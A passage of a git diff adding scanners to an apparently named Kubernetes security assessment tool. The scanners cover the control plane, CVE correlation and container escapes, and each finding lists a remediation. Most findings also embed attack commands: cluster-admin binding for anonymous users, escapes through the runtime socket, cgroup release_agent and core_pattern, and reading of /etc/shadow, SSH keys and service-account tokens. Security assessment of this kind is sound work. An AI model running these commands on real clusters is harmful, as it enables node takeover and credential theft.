exploitability="moderate", + exploit=f"# Peer port is for etcd-to-etcd replication; reachability from workloads is a misconfiguration.", + impact="etcd replication traffic exposed; widens the etcd attack surface.", + attack_techniques=["T1213"], + remediation="Restrict the etcd peer port to the etcd cluster members only.", + references=["https://etcd.io/docs/latest/op-guide/security/"], + )) + + return findings + + +def _probe_insecure_apiserver(node_name: str, ip: str) -> List[Finding]: + findings: List[Finding] = [] + if not _tcp_open(ip, APISERVER_INSECURE_PORT): + return findings + + status, body = _http_get(f"http://{ip}:{APISERVER_INSECURE_PORT}/api") + if status == 200 and ("versions" in body or "serverAddress" in body or "APIVersions" in body): + findings.append(Finding( + id="CP-APISERVER-INSECURE", + title="Insecure apiserver port serves the API unauthenticated", + description=( + f"The kube-apiserver insecure port on {ip}:{APISERVER_INSECURE_PORT} (node {node_name}) " + "returned the API root without authentication. Requests on this port are treated as an " + "implicit cluster-admin β€” full unauthenticated control of the cluster." + ), + severity="critical", + category="ControlPlane", + resource=f"node/{node_name}", + exploitability="trivial", + exploit=( + f"kubectl --server=http://{ip}:{APISERVER_INSECURE_PORT} --insecure-skip-tls-verify get secrets -A\n" + f"kubectl --server=http://{ip}:{APISERVER_INSECURE_PORT} create clusterrolebinding pwn " + f"--clusterrole=cluster-admin --user=system:anonymous" + ), + impact="Unauthenticated cluster-admin. Read all Secrets, create workloads, bind roles β€” total takeover.", + attack_techniques=["T1190", "T1078"], + remediation=( + "Disable the insecure port: --insecure-port=0 (it is removed entirely in Kubernetes β‰₯1.20 β€” " + "upgrade if this port exists). Ensure only the secure port (6443) is served." + ), + references=[ + "https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/", + ], + )) + else: + findings.append(Finding( + id="CP-PORT-8080-OPEN", + title="Port 8080 open on node (verify it isn't an insecure apiserver)", + description=( + f"Port {APISERVER_INSECURE_PORT} is open on {ip} (node {node_name}) but did not return the API " + f"root (HTTP {status}). Confirm what is listening β€” historically this is the insecure apiserver port." + ), + severity="low", + category="ControlPlane", + resource=f"node/{node_name}", + exploitability="easy", + exploit=f"curl -s http://{ip}:{APISERVER_INSECURE_PORT}/api http://{ip}:{APISERVER_INSECURE_PORT}/healthz", + impact="Unknown service on the historical insecure-apiserver port; identify and restrict it.", + remediation="Identify the listener; if it is kube-apiserver, set --insecure-port=0.", + references=["https://kubernetes.io/docs/reference/command-line-tools-reference/kube-apiserver/"], + )) + return findings + + +def _control_plane_targets(nodes) -> List[Tuple[str, str]]: + """Return (node_name, ip) to probe. Prefer control-plane-labeled nodes; else all nodes.""" + cp_tasks: List[Tuple[str, str]] = [] + all_tasks: List[Tuple[str, str]] = [] + for n in nodes: + labels = getattr(getattr(n, "metadata", None), "labels", None) or {} + is_cp = any(l in labels for l in CONTROL_PLANE_LABELS) + addrs = getattr(getattr(n, "status", None), "addresses", []) or [] + ips = [a.address for a in addrs if a.type in ("InternalIP", "ExternalIP")] + for ip in ips: + all_tasks.append((n.metadata.name, ip)) + if is_cp: + cp_tasks.append((n.metadata.name, ip)) + return cp_tasks or all_tasks + + +def _probe_node(node_name: str, ip: str) -> List[Finding]: + findings: List[Finding] = [] + findings.extend(_probe_etcd(node_name, ip)) + findings.extend(_probe_insecure_apiserver(node_name, ip)) + return findings + + +def scan_control_plane(nodes, max_workers: int = 10) -> List[Finding]: + findings: List[Finding] = [] + tasks = _control_plane_targets(nodes or []) + if not tasks: + return findings + with ThreadPoolExecutor(max_workers=min(max_workers, len(tasks))) as pool: + futures = {pool.submit(_probe_node, name, ip): (name, ip) for name, ip in tasks} + for fut in as_completed(futures): + try: + findings.extend(fut.result()) + except Exception as e: + name, ip = futures[fut] + logger.warning("Failed to probe control-plane on %s at %s: %s", name, ip, e) + return findings diff --git a/kuberoast/scanners/cve.py b/kuberoast/scanners/cve.py new file mode 100644 index 0000000..4a20aaa --- /dev/null +++ b/kuberoast/scanners/cve.py @@ -0,0 +1,396 @@ +"""Known-exploitable CVE correlation. + +Maps the actual versions running in the cluster β€” apiserver, kubelet, +container runtime, kernel, and ingress-nginx β€” against a curated set of +high-impact, attacker-relevant CVEs (container escapes, RCE, privilege +escalation). This is offline and deterministic: no phoning home, works +in restricted assessment networks. + +Curation bar: a CVE earns a place here only if it yields code execution, +container escape, or privilege escalation in a realistic cluster. We do +not list DoS or info-leak noise. Each entry carries the public exploit +reference, EPSS, and CISA KEV status (verified against live feeds at +authoring time, 2026-06). + +Version data: + * server gitVersion β†’ VersionApi / Deployment image + * node.status.nodeInfo.kubeletVersion / containerRuntimeVersion / kernelVersion + * ingress-nginx controller image tag +""" +from typing import List, Optional, Callable, Dict, Tuple +from ..utils.findings import Finding +from ..utils import versions as V + +Version = V.Version + + +def _between(lo, hi): + return lambda v: V.in_range(v, lo, hi) + + +def _below(hi): + return lambda v: V.lt(v, hi) + + +def _at_or_below(hi): + return lambda v: V.lte(v, hi) + + +# Each entry: component, predicate(version)->bool, finding kwargs. +# `component` is one of: kubernetes, kubelet, runtime:, kernel, ingress-nginx +class _CVE: + def __init__(self, component, predicate, cve, title, severity, exploitability, + impact, exploit, techniques, references, kev=False, epss=None, + runtime=None, precondition=None): + self.component = component + self.predicate = predicate + self.cve = cve + self.title = title + self.severity = severity + self.exploitability = exploitability + self.impact = impact + self.exploit = exploit + self.techniques = techniques + self.references = references + self.kev = kev + self.epss = epss + self.runtime = runtime # for runtime CVEs, the runtime name e.g. 'runc' + self.precondition = precondition + + +KB: List[_CVE] = [ + # ---- Container runtime: runc ---- + _CVE( + component="runtime:runc", + predicate=_at_or_below((1, 1, 11)), + cve="CVE-2024-21626", + title="runc 'Leaky Vessels' β€” WORKDIR file-descriptor container escape", + severity="critical", exploitability="easy", + impact="Container escape to host filesystem via leaked runc fd. With a crafted image or " + "WORKDIR, an attacker reads/writes the host and escapes the container.", + exploit="# Build/run an image with WORKDIR pointing through /proc/self/fd/ to the host root,\n" + "# or exec into a container whose process cwd is a leaked host fd. PoC:\n" + "# https://github.com/NitroCao/CVE-2024-21626", + techniques=["T1611"], + references=[ + "https://nvd.nist.gov/vuln/detail/CVE-2024-21626", + "https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv", + ], + epss=0.05, + ), + _CVE( + component="runtime:runc", + predicate=_below((1, 0, 0)), # rc-era; <1.0.0 covers <=1.0-rc6 + cve="CVE-2019-5736", + title="runc /proc/self/exe overwrite β€” host runc binary replacement", + severity="critical", exploitability="easy", + impact="Container escape: a malicious container overwrites the host runc binary, gaining " + "root code execution on the node the next time any container is started/exec'd.", + exploit="# Classic /proc/self/exe overwrite. PoC: https://github.com/Frichetten/CVE-2019-5736-PoC", + techniques=["T1611"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2019-5736"], + epss=0.59, + ), + + # ---- Container runtime: containerd ---- + _CVE( + component="runtime:containerd", + predicate=_below((1, 4, 3)), # also <1.3.9 on the 1.3 line + cve="CVE-2020-15257", + title="containerd-shim abstract-socket exposure (host-net escape)", + severity="high", exploitability="moderate", + impact="A hostNetwork container can reach the containerd-shim API over its abstract Unix " + "socket and instruct it to spawn a process on the host β€” container escape.", + exploit="# Reach the shim's abstract socket from a hostNetwork pod. PoC tooling:\n" + "# https://github.com/cdk-team/CDK (run --shim-pwn)", + techniques=["T1611"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2020-15257"], + epss=0.13, + precondition="Requires a hostNetwork container (shares the abstract socket namespace).", + ), + + # ---- kube-apiserver ---- + _CVE( + component="kubernetes", + predicate=_below((1, 10, 11)), # plus 1.11<1.11.5 and 1.12<1.12.3 handled below + cve="CVE-2018-1002105", + title="kube-apiserver proxy upgrade β€” unauthenticated backend escalation", + severity="critical", exploitability="easy", + impact="Crafted upgrade requests let an attacker tunnel arbitrary authenticated requests " + "through the apiserver to backends (kubelets, aggregated APIs) using the apiserver's " + "own TLS identity β€” cluster takeover.", + exploit="# Send an upgrade request to an aggregated API / pod exec endpoint, then reuse the\n" + "# established backend connection. Background: https://github.com/evict/poc_CVE-2018-1002105", + techniques=["T1068", "T1210"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2018-1002105"], + epss=0.90, + ), + _CVE( + component="kubernetes", + predicate=_between((1, 11, 0), (1, 11, 5)), + cve="CVE-2018-1002105", + title="kube-apiserver proxy upgrade β€” unauthenticated backend escalation", + severity="critical", exploitability="easy", + impact="See above β€” affects the 1.11 line below 1.11.5.", + exploit="https://github.com/evict/poc_CVE-2018-1002105", + techniques=["T1068", "T1210"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2018-1002105"], + epss=0.90, + ), + _CVE( + component="kubernetes", + predicate=_between((1, 12, 0), (1, 12, 3)), + cve="CVE-2018-1002105", + title="kube-apiserver proxy upgrade β€” unauthenticated backend escalation", + severity="critical", exploitability="easy", + impact="See above β€” affects the 1.12 line below 1.12.3.", + exploit="https://github.com/evict/poc_CVE-2018-1002105", + techniques=["T1068", "T1210"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2018-1002105"], + epss=0.90, + ), + _CVE( + component="kubernetes", + predicate=_below((1, 18, 6)), # fixed 1.16.13/1.17.9/1.18.6; approximate cutoff + cve="CVE-2020-8559", + title="apiserverβ†’kubelet redirect β€” cross-node pod takeover", + severity="high", exploitability="moderate", + impact="A compromised node can return a redirect to an upgrade request, causing the apiserver " + "to replay the request (with its credentials) against another node's kubelet β€” lateral " + "movement to pods on other nodes.", + exploit="# Requires control of one node/kubelet to return crafted redirects to exec/attach/portforward.", + techniques=["T1610", "T1021"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2020-8559"], + epss=0.51, + precondition="Requires prior compromise of at least one node.", + ), + _CVE( + component="kubernetes", + predicate=_below((1, 22, 2)), # subPath fix line: 1.19.16/1.20.11/1.21.5/1.22.2 + cve="CVE-2021-25741", + title="kubelet subPath symlink β€” host file read/write & escape", + severity="high", exploitability="moderate", + impact="A volume subPath symlink race lets a pod mount arbitrary host paths into the container, " + "exposing host files and enabling escape on affected kubelets.", + exploit="# Race a subPath symlink swap during volume mount. Background:\n" + "# https://github.com/kubernetes/kubernetes/issues/104980", + techniques=["T1611", "T1006"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2021-25741"], + epss=0.33, + precondition="Requires ability to create pods with subPath volume mounts.", + ), + + # ---- Kernel (caveated: distros backport; verify) ---- + _CVE( + component="kernel", + predicate=_below((5, 16, 2)), + cve="CVE-2022-0185", + title="Linux fsconfig heap overflow β€” container escape / LPE (CISA KEV)", + severity="critical", exploitability="moderate", + impact="Heap overflow in legacy_parse_param reachable from a user namespace with CAP_SYS_ADMIN. " + "Yields kernel LPE and container escape. Actively exploited (CISA KEV).", + exploit="# Requires CAP_SYS_ADMIN in a (user) namespace β€” default in many runtimes via unshare.\n" + "# PoC: https://github.com/Crusaders-of-Rust/CVE-2022-0185", + techniques=["T1611", "T1068"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2022-0185"], + kev=True, epss=0.02, + precondition="Requires CAP_SYS_ADMIN in a user namespace; distro may have backported the fix β€” verify.", + ), + _CVE( + component="kernel", + predicate=_below((6, 8, 0)), + cve="CVE-2024-1086", + title="Linux nf_tables use-after-free β€” local privilege escalation (CISA KEV)", + severity="high", exploitability="moderate", + impact="UAF in netfilter nf_tables gives kernel LPE (root on the node). Reachable from an " + "unprivileged user namespace with CAP_NET_ADMIN. Actively exploited (CISA KEV).", + exploit="# Needs unprivileged user namespaces (kernel.unprivileged_userns_clone=1) + nf_tables.\n" + "# PoC: https://github.com/Notselwyn/CVE-2024-1086", + techniques=["T1068"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2024-1086"], + kev=True, epss=0.85, + precondition="Requires unprivileged user namespaces enabled; many distros backported the fix β€” verify kernel build date.", + ), + + # ---- ingress-nginx ---- + _CVE( + component="ingress-nginx", + predicate=lambda v: V.lt(v, (1, 11, 5)) or V.in_range(v, (1, 12, 0), (1, 12, 1)), + cve="CVE-2025-1974", + title="ingress-nginx 'IngressNightmare' β€” unauthenticated RCE in admission controller", + severity="critical", exploitability="easy", + impact="Unauthenticated attackers with pod-network access to the admission controller inject " + "NGINX config and execute code in the ingress-nginx pod β€” which holds a token that can " + "read ALL cluster Secrets. Effective cluster takeover. EPSS ~0.91.", + exploit="# Send a crafted AdmissionReview to the controller's webhook port from inside the pod network.\n" + "# Advisory + PoC: https://github.com/kubernetes/kubernetes/issues/131009", + techniques=["T1190", "T1610"], + references=[ + "https://github.com/kubernetes/ingress-nginx/security/advisories/GHSA-22qq-3xwm-r5x4", + "https://nvd.nist.gov/vuln/detail/CVE-2025-1974", + ], + epss=0.91, + ), + _CVE( + component="ingress-nginx", + predicate=_below((1, 9, 0)), + cve="CVE-2023-5044", + title="ingress-nginx annotation injection (nginx.ingress.kubernetes.io/permanent-redirect) β†’ RCE", + severity="high", exploitability="moderate", + impact="CRLF/config injection via ingress annotations lets a tenant with Ingress-create rights " + "run code in the ingress controller and read its serviceaccount token.", + exploit="# Craft a malicious annotation on an Ingress you can create. Background:\n" + "# https://github.com/kubernetes/ingress-nginx/issues/10571", + techniques=["T1190"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2023-5044"], + epss=0.11, + precondition="Requires the ability to create/annotate Ingress objects.", + ), + _CVE( + component="ingress-nginx", + predicate=_below((1, 0, 1)), + cve="CVE-2021-25742", + title="ingress-nginx snippet annotation β€” read controller secrets / RCE", + severity="high", exploitability="moderate", + impact="configuration-snippet annotations allow retrieving the controller's serviceaccount " + "token and other Secrets β€” pivot to broad cluster access.", + exploit="# Add a configuration-snippet annotation that returns the SA token.", + techniques=["T1190"], + references=["https://nvd.nist.gov/vuln/detail/CVE-2021-25742"], + epss=0.006, + precondition="Requires Ingress-create rights and allow-snippet-annotations enabled.", + ), +] + + +def _emit(entry: _CVE, version: Version, resource: str, version_str: str) -> Finding: + tags = [] + if entry.kev: + tags.append("CISA-KEV") + if entry.epss is not None: + tags.append(f"EPSS={entry.epss:.2f}") + suffix = f" [{', '.join(tags)}]" if tags else "" + desc = ( + f"{resource} runs {entry.component} {version_str}, affected by {entry.cve}.{suffix}\n" + f"{entry.impact}" + ) + if entry.precondition: + desc += f"\nPrecondition: {entry.precondition}" + md: Dict[str, str] = {"cve": entry.cve, "version": version_str} + if entry.kev: + md["kev"] = "true" + if entry.epss is not None: + md["epss"] = f"{entry.epss:.4f}" + return Finding( + id=f"CVE-{entry.cve.split('-', 1)[1]}", + title=entry.title, + description=desc, + severity=entry.severity, + category="CVE", + resource=resource, + metadata=md, + exploitability=entry.exploitability, + exploit=entry.exploit, + impact=entry.impact, + attack_techniques=entry.techniques, + remediation=f"Upgrade {entry.component} past the fixed version for {entry.cve}.", + references=entry.references, + ) + + +def _match_component(component: str, version: Optional[Version], resource: str, + version_str: str, runtime_name: Optional[str] = None) -> List[Finding]: + out: List[Finding] = [] + if version is None: + return out + for entry in KB: + if entry.component != component: + continue + if component.startswith("runtime:"): + want = component.split(":", 1)[1] + if runtime_name and runtime_name != want: + continue + try: + if entry.predicate(version): + out.append(_emit(entry, version, resource, version_str)) + except Exception: + continue + return out + + +def scan_cve(server_version: Optional[str] = None, + nodes=None, + ingress_images=None) -> List[Finding]: + """Correlate running versions against the CVE knowledge base. + + server_version : apiserver gitVersion string (e.g. 'v1.27.3') + nodes : node objects with .status.node_info.* + ingress_images : iterable of (image_ref, resource_str) for ingress-nginx controllers + """ + findings: List[Finding] = [] + + # apiserver / kubernetes + if server_version: + sv = V.parse_version(server_version) + findings.extend(_match_component("kubernetes", sv, "cluster/apiserver", server_version)) + + # per-node kubelet / runtime / kernel + for n in (nodes or []): + ninfo = getattr(getattr(n, "status", None), "node_info", None) + node_name = getattr(getattr(n, "metadata", None), "name", "?") + if not ninfo: + continue + kubelet = getattr(ninfo, "kubelet_version", None) + runtime = getattr(ninfo, "container_runtime_version", None) + kernel = getattr(ninfo, "kernel_version", None) + + kv = V.parse_version(kubelet) + findings.extend(_match_component("kubernetes", kv, f"node/{node_name} (kubelet)", kubelet or "?")) + + rt_name, rt_ver = V.parse_runtime(runtime) + if rt_name and rt_ver: + findings.extend(_match_component(f"runtime:{rt_name}", rt_ver, + f"node/{node_name} ({rt_name})", runtime, runtime_name=rt_name)) + + kern = V.parse_version(kernel) + findings.extend(_match_component("kernel", kern, f"node/{node_name} (kernel)", kernel or "?")) + + # ingress-nginx controller images + for image, resource in (ingress_images or []): + _repo, ver = V.parse_image_tag(image) + if ver: + findings.extend(_match_component("ingress-nginx", ver, resource, image)) + + # De-dupe identical (id, resource) pairs + seen = set() + deduped = [] + for f in findings: + key = (f.id, f.resource) + if key in seen: + continue + seen.add(key) + deduped.append(f) + return deduped + + +def find_ingress_images(pods, deployments) -> List[Tuple[str, str]]: + """Heuristically locate ingress-nginx controller images for CVE matching.""" + out: List[Tuple[str, str]] = [] + + def _scan_containers(spec, resource): + for c in (getattr(spec, "containers", None) or []): + img = getattr(c, "image", None) or "" + if "ingress-nginx" in img or "ingress-nginx/controller" in img: + out.append((img, resource)) + + for p in (pods or []): + spec = getattr(p, "spec", None) + if spec: + _scan_containers(spec, f"pod/{getattr(p.metadata, 'name', '?')}") + for d in (deployments or []): + spec = getattr(d, "spec", None) + tmpl = getattr(spec, "template", None) if spec else None + tspec = getattr(tmpl, "spec", None) if tmpl else None + if tspec: + _scan_containers(tspec, f"deployment/{getattr(d.metadata, 'name', '?')}") + return out diff --git a/kuberoast/scanners/escapes.py b/kuberoast/scanners/escapes.py new file mode 100644 index 0000000..5c77bd9 --- /dev/null +++ b/kuberoast/scanners/escapes.py @@ -0,0 +1,383 @@ +"""Container escape primitive analysis. + +For each pod, identifies concrete escape primitives an attacker would use +once they have RCE in the container. Output is calibrated to operator +needs: the actual PoC command, the difficulty, and the resulting blast +radius. Not a checklist. + +Primitives are evaluated per-container and per-pod. The most severe +primitive wins; lesser primitives still emit informational findings so an +operator can plan a chain (e.g. SYS_PTRACE + hostPID). +""" +from typing import List, Optional, Tuple +from .shared import iter_containers +from ..utils.findings import Finding + + +SENSITIVE_HOST_PATHS = { + "/": ("trivial", "Full root filesystem", "chroot /host bash"), + "/var/run/docker.sock": ( + "trivial", + "Docker daemon socket β€” spawn privileged sibling containers", + "docker -H unix:///var/run/docker.sock run -v /:/host --privileged -it alpine chroot /host", + ), + "/var/run/containerd/containerd.sock": ( + "trivial", + "containerd socket β€” spawn privileged sibling containers", + "ctr -a /var/run/containerd/containerd.sock run --privileged --mount type=bind,src=/,dst=/host,options=rbind:rw -t docker.io/library/alpine:latest esc sh", + ), + "/var/run/crio/crio.sock": ( + "trivial", + "CRI-O socket β€” spawn sibling containers via crictl", + "crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods", + ), + "/run/containerd/containerd.sock": ( + "trivial", + "containerd socket β€” spawn privileged sibling containers", + "ctr -a /run/containerd/containerd.sock run --privileged --mount type=bind,src=/,dst=/host,options=rbind:rw -t docker.io/library/alpine:latest esc sh", + ), + "/proc": ("easy", "Host /proc β€” kernel info, process inspection, /proc/1/root access", "ls /host/proc/1/root/"), + "/var/log": ("easy", "Host log dir β€” readable via kubelet's symlink-following log endpoint", "kubectl logs --previous"), + "/etc": ("easy", "Host /etc β€” read shadow, modify cron, write SSH authorized_keys", "cat /host/etc/shadow"), + "/root": ("easy", "Host root home β€” SSH keys, history, sometimes kubeconfig", "cat /host/root/.ssh/id_rsa"), + "/home": ("easy", "Host /home β€” user SSH keys, dotfiles", "cat /host/home/*/.ssh/id_rsa"), + "/var/lib/kubelet": ( + "easy", + "kubelet state dir β€” extract every SA token mounted on this node", + "find /host/var/lib/kubelet/pods -name token -exec cat {} \\;", + ), + "/var/lib/etcd": ( + "trivial", + "etcd data dir β€” direct cluster state, all secrets", + "ls /host/var/lib/etcd/", + ), + "/etc/kubernetes": ( + "trivial", + "Control-plane configs and certs (on control-plane nodes)", + "cat /host/etc/kubernetes/admin.conf", + ), +} + +# Capability β†’ (difficulty, impact, PoC) +DANGEROUS_CAP_PRIMITIVES = { + "SYS_ADMIN": ( + "trivial", + "Mount host filesystems, manipulate cgroups, namespace ops", + "mkdir /tmp/cg && mount -t cgroup -o rdma cgroup /tmp/cg && echo 1 > /tmp/cg/notify_on_release && host_path=$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab) && echo \"$host_path/cmd\" > /tmp/cg/release_agent", + ), + "SYS_MODULE": ( + "trivial", + "Load kernel modules β€” direct kernel code execution", + "insmod /path/to/malicious.ko", + ), + "SYS_PTRACE": ( + "easy", + "Attach to host processes (requires hostPID) β€” inject into PID 1", + "gdb -p 1 (with hostPID=true)", + ), + "SYS_RAWIO": ( + "easy", + "Direct disk I/O β€” read raw disk devices, bypass filesystem", + "dd if=/dev/sda of=/tmp/disk.img bs=1M count=100", + ), + "DAC_READ_SEARCH": ( + "easy", + "Bypass file read permission checks β€” read any file via open_by_handle_at", + "shocker-like exploit using open_by_handle_at on host inodes", + ), + "NET_ADMIN": ( + "moderate", + "Network manipulation β€” sniff traffic, modify iptables, ARP spoof", + "tcpdump -i any -w /tmp/cap.pcap", + ), + "NET_RAW": ( + "moderate", + "Raw socket access β€” ARP/DNS spoofing on pod network", + "arpspoof -i eth0 -t ", + ), + "SYSLOG": ( + "moderate", + "Read kernel log β€” observe kASLR, exploit hints", + "dmesg", + ), +} + + +def _check_writable_proc(volume_mounts) -> Optional[Tuple[str, str, str]]: + """Detect writable /proc subpaths that enable kernel exploit primitives.""" + if not volume_mounts: + return None + for vm in volume_mounts: + mp = getattr(vm, "mount_path", None) or getattr(vm, "mountPath", None) or "" + ro = bool(getattr(vm, "read_only", False)) + if mp in ("/proc/sys/kernel/core_pattern",) and not ro: + return ( + "trivial", + "Writable /proc/sys/kernel/core_pattern β€” set host program to run on segfault", + "echo '|/bin/sh -c id>/tmp/pwn' > /proc/sys/kernel/core_pattern && sleep 1 && kill -SEGV $$", + ) + if mp in ("/proc/sys", "/proc") and not ro: + return ( + "easy", + "Writable /proc β€” multiple kernel-tunable abuse vectors", + "echo 1 > /proc/sys/kernel/sysrq", + ) + return None + + +def _container_primitives(c, pod) -> List[Finding]: + """Return per-container escape findings.""" + findings: List[Finding] = [] + ns = pod.metadata.namespace + pname = pod.metadata.name + cname = c.name + resource = f"pod/{pname}::{cname}" + + sc = getattr(c, "security_context", None) + pod_sc = getattr(pod.spec, "security_context", None) + privileged = bool(getattr(sc, "privileged", False)) if sc else False + caps_add = set(getattr(getattr(sc, "capabilities", None), "add", []) or []) if sc else set() + host_pid = bool(getattr(pod.spec, "host_pid", False)) + host_net = bool(getattr(pod.spec, "host_network", False)) + host_ipc = bool(getattr(pod.spec, "host_ipc", False)) + run_as_user = getattr(sc, "run_as_user", None) if sc else None + pod_run_as_user = getattr(pod_sc, "run_as_user", None) if pod_sc else None + effective_uid = run_as_user if run_as_user is not None else pod_run_as_user + + # privileged + hostPID = textbook escape + if privileged and host_pid: + findings.append(Finding( + id="ESC-PRIV-HOSTPID", + title="Trivial container escape: privileged + hostPID", + description=( + f"Container {cname} is privileged AND shares the host PID namespace. " + "Combined, these grant immediate ability to ptrace/nsenter host PID 1 " + "and achieve root on the node from any RCE in this container." + ), + severity="critical", + category="Escape", + namespace=ns, + resource=resource, + exploitability="trivial", + exploit="nsenter --target 1 --mount --uts --ipc --net --pid -- bash", + impact="Root on the underlying node. Access to all other pods on that node, kubelet credentials, and any node-local secrets.", + attack_techniques=["T1611"], + remediation="Remove privileged=true and hostPID=true. Use narrow Linux capabilities only if a specific syscall is required.", + references=[ + "https://attack.mitre.org/techniques/T1611/", + "https://blog.aquasec.com/privileged-containers-vulnerabilities", + ], + )) + return findings # nothing else matters β€” game over + + if privileged: + findings.append(Finding( + id="ESC-PRIV", + title="Trivial container escape: privileged container", + description=( + f"Container {cname} runs privileged. The kernel treats it as if running on the host: " + "it has CAP_SYS_ADMIN, can mount filesystems, write to /sys, and access all host devices." + ), + severity="critical", + category="Escape", + namespace=ns, + resource=resource, + exploitability="trivial", + exploit="# mount host fs and chroot:\nmkdir /h && mount /dev/$(lsblk -o NAME -n -d | head -1) /h && chroot /h", + impact="Root on the underlying node. Trivially pivot to all other pods on that node.", + attack_techniques=["T1611"], + remediation="Remove privileged=true. If specific kernel features are needed, grant the narrow capability (e.g. NET_ADMIN) instead.", + references=[ + "https://attack.mitre.org/techniques/T1611/", + "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/escaping-from-limited-bash", + ], + )) + + # Capability-based primitives + for cap in caps_add: + primitive = DANGEROUS_CAP_PRIMITIVES.get(cap) + if not primitive: + continue + difficulty, impact, exploit = primitive + sev = "critical" if difficulty in ("trivial",) else "high" + # SYS_PTRACE only escapes if hostPID is set + if cap == "SYS_PTRACE" and not host_pid: + difficulty = "hard" + sev = "medium" + impact = "Limited to in-container processes without hostPID. With hostPID, allows host PID 1 injection." + findings.append(Finding( + id=f"ESC-CAP-{cap}", + title=f"Container escape primitive: CAP_{cap}", + description=f"Container {cname} adds capability {cap}, which enables {impact.lower()}", + severity=sev, + category="Escape", + namespace=ns, + resource=resource, + exploitability=difficulty, + exploit=exploit, + impact=impact, + attack_techniques=["T1611"], + remediation=f"Drop {cap}. Grant only the minimal capabilities the workload truly needs; prefer dropping ALL and adding back named caps.", + references=[ + "https://man7.org/linux/man-pages/man7/capabilities.7.html", + "https://attack.mitre.org/techniques/T1611/", + ], + )) + + # hostNetwork β€” not an escape per se but exposes node-local services + if host_net: + findings.append(Finding( + id="ESC-HOSTNET", + title="hostNetwork: access to all node-local services", + description=( + f"Pod uses hostNetwork. The container shares the host's network namespace: " + "it can reach kubelet on 127.0.0.1:10250, the cluster's CNI plugins, " + "node-local proxies, and (depending on iptables) other node services." + ), + severity="high", + category="Escape", + namespace=ns, + resource=f"pod/{pname}", + exploitability="easy", + exploit="curl -sk https://127.0.0.1:10250/pods # may bypass NetworkPolicies and reach kubelet", + impact="Reach kubelet API and any service bound only to a node-local interface. Often a stepping stone to node compromise via kubelet anonymous auth.", + attack_techniques=["T1610"], + remediation="Remove hostNetwork=true; use a dedicated Service with a NetworkPolicy.", + references=["https://kubernetes.io/docs/concepts/security/pod-security-standards/"], + )) + + if host_ipc: + findings.append(Finding( + id="ESC-HOSTIPC", + title="hostIPC: shared IPC with host", + description="Container shares the host IPC namespace. SysV IPC and POSIX shared memory are visible β€” observe/inject into IPC of other host processes.", + severity="high", + category="Escape", + namespace=ns, + resource=f"pod/{pname}", + exploitability="moderate", + exploit="ipcs -m # enumerate host shared memory segments", + impact="Side-channel and data exfiltration from host processes using SysV/POSIX shared memory.", + attack_techniques=["T1611"], + remediation="Remove hostIPC=true.", + references=["https://kubernetes.io/docs/concepts/security/pod-security-standards/"], + )) + + # Writable /proc check + proc_primitive = _check_writable_proc(getattr(c, "volume_mounts", []) or []) + if proc_primitive: + difficulty, impact, exploit = proc_primitive + findings.append(Finding( + id="ESC-PROC-WRITE", + title="Writable host /proc primitive", + description=f"Container {cname} mounts host /proc (or a sensitive subpath) writable. {impact}", + severity="critical" if difficulty == "trivial" else "high", + category="Escape", + namespace=ns, + resource=resource, + exploitability=difficulty, + exploit=exploit, + impact=impact, + attack_techniques=["T1611"], + remediation="Mount /proc read-only or use the kernel default. Never mount /proc/sys/kernel/core_pattern writable.", + references=["https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/"], + )) + + # Running as root (no privilege drop): not an escape but a multiplier + if effective_uid == 0 and not privileged and not caps_add: + # Soft signal β€” only emit if there's no other escape already flagged for this container + findings.append(Finding( + id="ESC-ROOT-NO-DROP", + title="Runs as root in container (escalation multiplier)", + description=( + f"Container {cname} runs as UID 0 with default Linux capabilities. " + "Any in-container RCE inherits full default caps, enabling kernel-exploit primitives " + "and use of CAP_DAC_OVERRIDE / CAP_CHOWN." + ), + severity="medium", + category="Escape", + namespace=ns, + resource=resource, + exploitability="moderate", + exploit="id # confirm UID 0; from there, attack any installed setuid binary or known kernel CVE", + impact="Default Linux capability set; amplifies any RCE primitive.", + attack_techniques=["T1611"], + remediation="Set runAsNonRoot=true and runAsUser to a non-zero UID. Drop ALL capabilities.", + references=["https://kubernetes.io/docs/concepts/security/pod-security-standards/"], + )) + + return findings + + +def _pod_volume_primitives(pod) -> List[Finding]: + """Detect hostPath escape primitives at the pod level.""" + findings: List[Finding] = [] + ns = pod.metadata.namespace + pname = pod.metadata.name + resource = f"pod/{pname}" + + for v in (getattr(pod.spec, "volumes", None) or []): + hp = getattr(v, "host_path", None) + if not hp: + continue + path = getattr(hp, "path", "") or "" + primitive = None + # exact match + if path in SENSITIVE_HOST_PATHS: + primitive = SENSITIVE_HOST_PATHS[path] + else: + # prefix match (e.g. /var/lib/kubelet/pods/) + for sp, prim in SENSITIVE_HOST_PATHS.items(): + if sp != "/" and path.startswith(sp + "/"): + primitive = prim + break + if not primitive: + # generic hostPath β€” still concerning + findings.append(Finding( + id="ESC-HOSTPATH-GENERIC", + title="hostPath mount β€” node filesystem exposure", + description=f"Pod mounts hostPath {path}. Depending on container privileges, this enables data exfil or persistence on the node.", + severity="medium", + category="Escape", + namespace=ns, + resource=resource, + exploitability="moderate", + exploit=f"ls -la {path} # inspect node-local files", + impact=f"Read/write access to {path} on the host node from within the container.", + attack_techniques=["T1610"], + remediation="Replace hostPath with a PVC or projected volume. If hostPath is required, mount it read-only with a narrow subPath.", + references=["https://kubernetes.io/docs/concepts/storage/volumes/#hostpath"], + )) + continue + difficulty, impact, exploit = primitive + sev_map = {"trivial": "critical", "easy": "high", "moderate": "medium", "hard": "medium", "theoretical": "low"} + findings.append(Finding( + id="ESC-HOSTPATH-SENSITIVE", + title=f"Container escape via hostPath {path}", + description=( + f"Pod mounts a sensitive hostPath ({path}). {impact}" + ), + 